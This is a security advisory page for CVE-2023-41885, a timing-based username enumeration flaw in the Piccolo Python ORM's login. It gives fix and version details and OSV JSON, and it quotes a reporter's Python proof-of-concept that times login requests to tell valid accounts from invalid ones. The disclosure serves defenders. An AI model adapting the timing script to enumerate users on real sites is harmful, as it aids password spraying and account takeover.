CVE-2023-41885: Piccolo Piccolo's Current `BaseUser.login` Implementation Is Vulnerability

MODERATE
Advisory Identifier: GHSA-h7cm-mrvq-wcfr
CVSS 5.3
CWE-204 CWE-203
Published
Advisory Summary

CVE-2023-41885 is a MODERATE (CVSS 5.3) piccolo's current `baseuser.login` implementation is vulnerability (CWE-204: Observable Response Discrepancy) affecting Piccolo libraries in the PyPI ecosystem. The issue involves piccolo's current `baseuser.login` implementation is vulnerable to time based user enumeration. Remediation is available by upgrading affected packages to version 0.121.0.

CVE-2023-41885 at a Glance

CVE Identifier CVE-2023-41885
GHSA Identifier GHSA-h7cm-mrvq-wcfr
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-204: Observable Response Discrepancy
Affected Product Piccolo
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2023-41885

To remediate this vulnerability, upgrade all affected Piccolo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

piccolo fixed: 0.121.0
pip install piccolo>=0.121.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show piccolo

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2023-41885, inspect your installed packages using pip:

pip show piccolo

Analyze the terminal output to locate any version of Piccolo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.121.0), your application is affected.

Note: The pip show piccolo command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-204: Observable Response Discrepancy, where the product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere. In Piccolo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ The current implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it's own does not also enforce strong passwords (see [here](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#implement-proper-password-strength-controls)), these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform. The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform. The likelihood of this vulnerability is possible as it requires minimal skills to pull off especially given the underlying login functionality for Piccolo based sites is open source. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ This vulnerability relates to [this](https://github.com/piccolo-orm/piccolo/blob/master/piccolo/apps/user/tables.py#L191-L237) code. Specifically the fact that responses are not returned in constant time, but rather are based off the internal state. For example, if a user does not exist then `None` is returned immediately instead of encountering a time expensive hash comparison (Line 225). This discrepancy allows a malicious user to time requests made in order to generate a list of usernames which are valid on the underlying platform for usage in further attacks. If your curious for some more information regarding this attack avenue, I wrote a blog post awhile back with a similar chain to this with some other types of analysis. It lives [here](https://skelmis.co.nz/posts/tbue/). ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ #### Piccolo Setup 1. In a fresh environment `pip install 'piccolo[all]'` and `piccolo asgi new` 2. For simplified testing purposes, in `piccolo_conf.py` modify Piccolo to use SQLite: ```python from piccolo.engine.sqlite import SQLiteEngine DB = SQLiteEngine() ``` 3. In the same file, add the required apps for session authentication. The file should look like the following: ```python from piccolo.engine.sqlite import SQLiteEngine from piccolo.conf.apps import AppRegistry DB = SQLiteEngine() APP_REGISTRY = AppRegistry( apps=[ "home.piccolo_app", "piccolo_admin.piccolo_app", "piccolo_api.session_auth.piccolo_app", "piccolo.apps.user.piccolo_app", ] ) ``` 4. Run the following migrations: ```text piccolo migrations forwards user piccolo migrations forwards session_auth ``` 5. Within `app.py`, mount `session_login` at the `/login` path as follows: ```python from piccolo_api.session_auth.endpoints import session_login app.mount("/login", session_login()) ``` 6. Create a new user using `piccolo user create`, making a note of the username and password for later steps. #### Exploitation The following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report. ```python import asyncio import time from collections import defaultdict import httpx number_of_attempts = 50 # Set this to the username from step 6. valid_username = "skelmis" invalid_username = "invalid" data = defaultdict(lambda: []) # Ensure this points to your current enviroment local_base_url = "http://127.0.0.1:8000" # Set this to the password from step 6. valid_password = "disobey-blunt-kindly-postbox-tarantula" invalid_password = "cabana-polar-secrecy-neurology-pacific" async def make_request(username, password, session: httpx.AsyncClient): start_time = time.time() resp = await session.post( f"{local_base_url}/login", json={"username": username, "password": password}, follow_redirects=True, ) end_time = time.time() if username == valid_username and password == valid_password: # Just sanity check expected passes are passing assert resp.status_code == 200 resultant_time = end_time - start_time data[f"{username}|{password}"].append(resultant_time) async def main(): async with httpx.AsyncClient() as client: # This is the baseline correct request for _ in range(number_of_attempts): await make_request(valid_username, valid_password, client) await asyncio.sleep(0.1) # This is for a valid user but invalid password for _ in range(number_of_attempts): await make_request(valid_username, invalid_password, client) await asyncio.sleep(0.1) # This is for an invalid user and password for _ in range(number_of_attempts): await make_request(invalid_username, invalid_password, client) await asyncio.sleep(0.1) r_1 = data[f"{valid_username}|{valid_password}"] r_2 = data[f"{valid_username}|{invalid_password}"] r_3 = data[f"{invalid_username}|{invalid_password}"] r_1_sum = sum(r_1) / len(r_1) r_2_sum = sum(r_2) / len(r_2) r_3_sum = sum(r_3) / len(r_3) print( f"Average time to response as a valid user with a valid password: {r_1_sum}" ) print( f"Average time to response as a valid user with an invalid password: {r_2_sum}" ) print( f"Average time to response as an invalid user with an invalid password: {r_3_sum}" ) if __name__ == "__main__": asyncio.run(main()) ``` N.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination #### Analysis The following is the output from the PoC against `pip install piccolo` ![Screenshot from 2023-09-08 18-36-45](https://user-images.githubusercontent.com/47520067/266522913-b8a0f499-e38b-47fd-a97d-292900320a01.png) The following is the output from the PoC against `pip install git+https://github.com/piccolo-orm/piccolo.git`. ![Screenshot from 2023-09-08 17-51-16](https://user-images.githubusercontent.com/47520067/266514350-82384ce6-c24f-4b89-8516-ec08282053e1.png) I have included the results from both versions to highlight that this issue is not as a result of [this](https://github.com/piccolo-orm/piccolo/pull/881) pull request but as a result of the underlying logic in usage. Both of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a [password spray attack](https://owasp.org/www-community/attacks/Password_Spraying_Attack) using common passwords in order to takeover user accounts on the platform. ### Impact _What kind of vulnerability is it? Who is impacted?_ This is an information disclosure vulnerability. It would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.

CVE-2023-41885 Affected Piccolo Versions

1 component(s)
Fixed Versions:
0.121.0
Product / Package Ecosystem Affected Versions Fixed Version
piccolo
PyPI
< 0.121.0
0.121.0

References

Frequently Asked Questions

What is CVE-2023-41885?
CVE-2023-41885 is a security vulnerability in Piccolo involving Piccolo's current `BaseUser.login` implementation is vulnerable to time based user enumeration under CWE-204: Observable Response Discrepancy.
Which Piccolo versions are affected?
Affected versions include releases prior to 0.121.0 across affected packages: piccolo.
What version fixes CVE-2023-41885?
Upgrading to 0.121.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is piccolo affected?
Yes, piccolo is affected in releases prior to 0.121.0. Upgrade your dependency to 0.121.0 or later.
What is the CVSS score of CVE-2023-41885?
CVE-2023-41885 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2023-41885?
CVE-2023-41885 is classified under CWE-204: Observable Response Discrepancy (The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.).
How can I check PyPI dependencies for CVE-2023-41885?
Run the dependency tree command: 'pip show piccolo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h7cm-mrvq-wcfr",
  "modified" : "2023-09-20T17:45:31Z",
  "published" : "2023-09-12T13:50:23Z",
  "aliases" : [ "CVE-2023-41885" ],
  "summary" : "Piccolo's current `BaseUser.login` implementation is vulnerable to time based user enumeration",
  "details" : "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThe current implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it's own does not also enforce strong passwords (see [here](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#implement-proper-password-strength-controls)), these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform.\n\nThe impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform.\nThe likelihood of this vulnerability is possible as it requires minimal skills to pull off especially given the underlying login functionality for Piccolo based sites is open source.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nThis vulnerability relates to [this](https://github.com/piccolo-orm/piccolo/blob/master/piccolo/apps/user/tables.py#L191-L237) code. Specifically the fact that responses are not returned in constant time, but rather are based off the internal state.\n\nFor example, if a user does not exist then `None` is returned immediately instead of encountering a time expensive hash comparison (Line 225). This discrepancy allows a malicious user to time requests made in order to generate a list of usernames which are valid on the underlying platform for usage in further attacks.\n\nIf your curious for some more information regarding this attack avenue, I wrote a blog post awhile back with a similar chain to this with some other types of analysis. It lives [here](https://skelmis.co.nz/posts/tbue/). \n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Piccolo Setup\n1. In a fresh environment `pip install 'piccolo[all]'` and `piccolo asgi new`\n2. For simplified testing purposes, in `piccolo_conf.py` modify Piccolo to use SQLite:\n```python\nfrom piccolo.engine.sqlite import SQLiteEngine\nDB = SQLiteEngine()\n```\n3. In the same file, add the required apps for session authentication. The file should look like the following:\n```python\nfrom piccolo.engine.sqlite import SQLiteEngine\nfrom piccolo.conf.apps import AppRegistry\n\n\nDB = SQLiteEngine()\n\nAPP_REGISTRY = AppRegistry(\n    apps=[\n        \"home.piccolo_app\",\n        \"piccolo_admin.piccolo_app\",\n        \"piccolo_api.session_auth.piccolo_app\",\n        \"piccolo.apps.user.piccolo_app\",\n    ]\n)\n```\n4. Run the following migrations:\n```text\npiccolo migrations forwards user\npiccolo migrations forwards session_auth\n```\n5. Within `app.py`, mount `session_login` at the `/login` path as follows:\n```python\nfrom piccolo_api.session_auth.endpoints import session_login\napp.mount(\"/login\", session_login())\n```\n6. Create a new user using `piccolo user create`, making a note of the username and password for later steps.\n\n#### Exploitation\nThe following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report.\n\n```python\nimport asyncio\nimport time\nfrom collections import defaultdict\n\nimport httpx\n\nnumber_of_attempts = 50\n# Set this to the username from step 6.\nvalid_username = \"skelmis\"\ninvalid_username = \"invalid\"\ndata = defaultdict(lambda: [])\n# Ensure this points to your current enviroment\nlocal_base_url = \"http://127.0.0.1:8000\"\n# Set this to the password from step 6.\nvalid_password = \"disobey-blunt-kindly-postbox-tarantula\"\ninvalid_password = \"cabana-polar-secrecy-neurology-pacific\"\n\n\nasync def make_request(username, password, session: httpx.AsyncClient):\n    start_time = time.time()\n    resp = await session.post(\n        f\"{local_base_url}/login\",\n        json={\"username\": username, \"password\": password},\n        follow_redirects=True,\n    )\n    end_time = time.time()\n    if username == valid_username and password == valid_password:\n        # Just sanity check expected passes are passing\n        assert resp.status_code == 200\n\n    resultant_time = end_time - start_time\n    data[f\"{username}|{password}\"].append(resultant_time)\n\n\nasync def main():\n    async with httpx.AsyncClient() as client:\n        # This is the baseline correct request\n        for _ in range(number_of_attempts):\n            await make_request(valid_username, valid_password, client)\n            await asyncio.sleep(0.1)\n\n        # This is for a valid user but invalid password\n        for _ in range(number_of_attempts):\n            await make_request(valid_username, invalid_password, client)\n            await asyncio.sleep(0.1)\n\n        # This is for an invalid user and password\n        for _ in range(number_of_attempts):\n            await make_request(invalid_username, invalid_password, client)\n            await asyncio.sleep(0.1)\n\n        r_1 = data[f\"{valid_username}|{valid_password}\"]\n        r_2 = data[f\"{valid_username}|{invalid_password}\"]\n        r_3 = data[f\"{invalid_username}|{invalid_password}\"]\n\n        r_1_sum = sum(r_1) / len(r_1)\n        r_2_sum = sum(r_2) / len(r_2)\n        r_3_sum = sum(r_3) / len(r_3)\n\n        print(\n            f\"Average time to response as a valid user with a valid password: {r_1_sum}\"\n        )\n        print(\n            f\"Average time to response as a valid user with an invalid password: {r_2_sum}\"\n        )\n        print(\n            f\"Average time to response as an invalid user with an invalid password: {r_3_sum}\"\n        )\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nN.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination\n\n\n#### Analysis\n\nThe following is the output from the PoC against `pip install piccolo`\n![Screenshot from 2023-09-08 18-36-45](https://user-images.githubusercontent.com/47520067/266522913-b8a0f499-e38b-47fd-a97d-292900320a01.png)\n\nThe following is the output from the PoC against `pip install git+https://github.com/piccolo-orm/piccolo.git`.\n![Screenshot from 2023-09-08 17-51-16](https://user-images.githubusercontent.com/47520067/266514350-82384ce6-c24f-4b89-8516-ec08282053e1.png)\n\nI have included the results from both versions to highlight that this issue is not as a result of [this](https://github.com/piccolo-orm/piccolo/pull/881) pull request but as a result of the underlying logic in usage.\n\nBoth of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a [password spray attack](https://owasp.org/www-community/attacks/Password_Spraying_Attack) using common passwords in order to takeover user accounts on the platform.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis is an information disclosure vulnerability. \nIt would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "piccolo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.121.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.120.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/piccolo-orm/piccolo/security/advisories/GHSA-h7cm-mrvq-wcfr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-41885"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/piccolo-orm/piccolo/commit/edcfe3568382922ba3e3b65896e6e7272f972261"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/piccolo-orm/piccolo"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/piccolo/PYSEC-2023-173.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-203", "CWE-204" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-09-12T13:50:23Z",
    "nvd_published_at" : "2023-09-12T21:15:08Z"
  }
}